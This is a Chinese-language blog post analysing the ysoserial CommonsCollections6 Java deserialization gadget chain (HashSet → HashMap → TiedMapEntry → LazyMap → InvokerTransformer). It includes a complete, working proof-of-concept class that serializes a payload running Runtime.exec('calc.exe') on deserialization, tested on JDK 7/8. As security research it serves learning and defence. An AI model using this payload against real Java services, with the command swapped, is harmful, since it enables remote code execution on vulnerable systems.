ysoserial CommonsColletions6分析
CC6的话是一条比较通用的链,在JAVA7和8版本都可以使用,而触发点也是通过LazyMap的get方法。
TiedMapEntry#hashCode
在CC5中,通过的是TiedMapEntry的toString调用到的LazyMap的get方法,而CC6则是通过TiedMapEntry的hashCode方法

此处hashCode会调用getValue方法,getValue就调用到了LazyMap的get方法

接下来我们要找的就是哪里调用了TiedMapEntry#hashCode
HashMap#put
HashMap每次进行put的时候,会计算 key的hash值

进入到hash方法,看到调用了hashcode

hashSet#readObject
hashSet作为反序列化入口,在重写的readObject中调用了map.put

此处的map是在readObject中第299-301行进行的赋值

这个代码其实判断this是不是LinkedHashSet,不是的话就返回HashMap类型的对象
综合以上,map值为HashMap即可调用put
构造poc
前面的写法都一样,lazyMap传入了TiedMapEntry中
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),
};
ChainedTransformer chain = new ChainedTransformer(transformers);
HashMap hashMap = new HashMap();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap, chain);
TiedMapEntry mapEntry = new TiedMapEntry(lazyMap, "xxx");
通过hashSet.add把mapEntry加入进hashSet
HashSet hashSet = new HashSet(1);
hashSet.add(mapEntry);
到这里就已经构造完了,但是会发现poc在执行反序列化的时候无法弹出计算器,原因是在LazyMap的get方法中

这句话的意思是判断有没有key,有key的话则不会执行if里面的方法。
查找key传入路径发现,这里的key是在TiedMapEntry#getValue中传入的

而这个key则是在构造方法中进行的赋值

也就是之前操作时候,传入的"xxx"

由于在hashSet.add的时候,会调用一遍TiedMapEntry#getValue把key传入了进去
所以我们只需要在add之后,把lazyMap里面的key给remove就可以了

整个POC就构造出来了
public class payload01 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),
};
ChainedTransformer chain = new ChainedTransformer(transformers);
HashMap hashMap = new HashMap();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap, chain);
TiedMapEntry mapEntry = new TiedMapEntry(lazyMap, "xxx");
HashSet hashSet = new HashSet(1);
hashSet.add(mapEntry);
lazyMap.remove("xxx");
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(hashSet);
oos.close();
// System.out.println(barr);
// System.out.println(barr.toString());
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
ois.readObject();
}
}
和CC5一样,如果要在CommonsCollections4.0版本中使用的话,需要把poc中的lazymap传值方式改变下就行了!

测试环境在JDK1.7和1.8,CommonsCollections3.1-3.21,4.0均测试成功
ysoserial CommonsColletions6分析的更多相关文章
- ysoserial CommonsColletions4分析
ysoserial CommonsColletions4分析 其实CC4就是 CC3前半部分和CC2后半部分 拼接组成的,没有什么新的知识点. 不过要注意的是,CC4和CC2一样需要在commons- ...
- ysoserial CommonsColletions2分析
ysoserial CommonsColletions2分析 前言 此文章是ysoserial中 commons-collections2 的分析文章,所需的知识包括java反射,javassist. ...
- ysoserial CommonsColletions1分析
JAVA安全审计 ysoserial CommonsColletions1分析 前言: 在ysoserial工具中,并没有使用TransformedMap的来触发ChainedTransformer链 ...
- ysoserial CommonsCollections2 分析
在最后一步的实现上,cc2和cc3一样,最终都是通过TemplatesImpl恶意字节码文件动态加载方式实现反序列化. 已知的TemplatesImpl->newTransformer()是最终 ...
- ysoserial CommonsColletions7分析
CC7也是一条比较通用的链了,不过对于其原理的话,其实还是挺复杂的.文章如有错误,敬请大佬们斧正 CC7利用的是hashtable#readObject作为反序列化入口.AbstractMap的equ ...
- ysoserial CommonsColletions3分析(2)
上篇文章讲到CC3的TransformedMap链,这篇我们就来讲一下LazyMap链. 其实LazyMap链还是使用的TemplatesImpl承载payload,InstantiateTransf ...
- ysoserial CommonsColletions3分析(1)
CC3的利用链在JDK8u71版本以后是无法使用的,具体还是由于AnnotationInvocationHandler的readobject进行了改写. 而CC3目前有两条主流的利用链,利用Trans ...
- ysoserial CommonsColletions5分析
我们知道,AnnotationInvocationHandler类在JDK8u71版本以后,官方对readobject进行了改写. 所以要挖掘出一条能替代的类BadAttributeValueExpE ...
- ysoserial commonscollections6 分析
利用链如下: 其中LazyMap.get()->ChainedTransformer.transform()-InvokerTransformer.transform()与CC1链一致. /* ...
随机推荐
- 使用Windows客户端连接Linux系统中的MySQL时产生的错误已经解决
.personSunflowerP { background: rgba(51, 153, 0, 0.66); border-bottom: 1px solid rgba(0, 102, 0, 1); ...
- 使用账号密码来操作github? NO!
目录 简介 背景介绍 创建令牌 使用令牌 缓存令牌 使用GCM 总结 简介 最近在更新github文件的时候,突然说不让更新了,让我很是困惑,原因是在2021年8月13号之后,github已经不让直接 ...
- Vue系列-01-基础语法
vue.js文件 # https://blog-static.cnblogs.com/files/lichengguo/vue.js # 下载该文件,保存的路径为代码同级目录 js/vue.js 文件 ...
- 关于knn算法的总结思考
更多的关于k近邻算法的思考 KNN(K- Nearest Neighbor)法即K最邻近法,数据挖掘分类技术中最简单的方法之一 对k近邻算法的总结: 优点部分 其可以解决分类问题,同时可以天然的解决多 ...
- MySQL索引篇之索引存储模型
本文重点介绍下索引的存储模型 二分查找 给定一个1~100的自然数,给你5次机会,你能猜中这个数字吗? 你会从多少开始猜? 为什么一定是50呢?这个就是二分查找的一种思想,也叫折半查找,每 ...
- VBA·Function的基础使用
阅文时长 | 0.27分钟 字数统计 | 440字符 主要内容 | 1.引言&背景 2.基本结构 3.Demo示例 4.声明与参考资料 『VBA·Function的基础使用』 编写人 | SC ...
- 页面模型 PageModel
Razor页面中的程序处理方法 OnGet 和 OnGetAsync是同样的处理程序,因此不能共存,否则会报错. 视图数据 ViewData 视图数据是从页面模型向内容页面传递数据的容器.视图数据是以 ...
- IP笔记
自动专用IP地址APIPA的范围是B类地址块169.254.0.0--169.254.255.255
- contos7 安装weblogic10.3 _wls1036_generic.jar
环境:CentOS7+jdk1.8 weblogic下载地址1: http://www.oracle.com/technetwork/cn/middleware/weblogic/downloads/ ...
- 题解 e
传送门 第一眼看貌似可以树剖,然而那个绝对值不知怎么维护 求最小连通块我只会\(k^2\) 主席树貌似可以用来查询区间内与某个数差的绝对值的最小值? 确实,每次查大于等于该数的最小数和小于等于该数的最 ...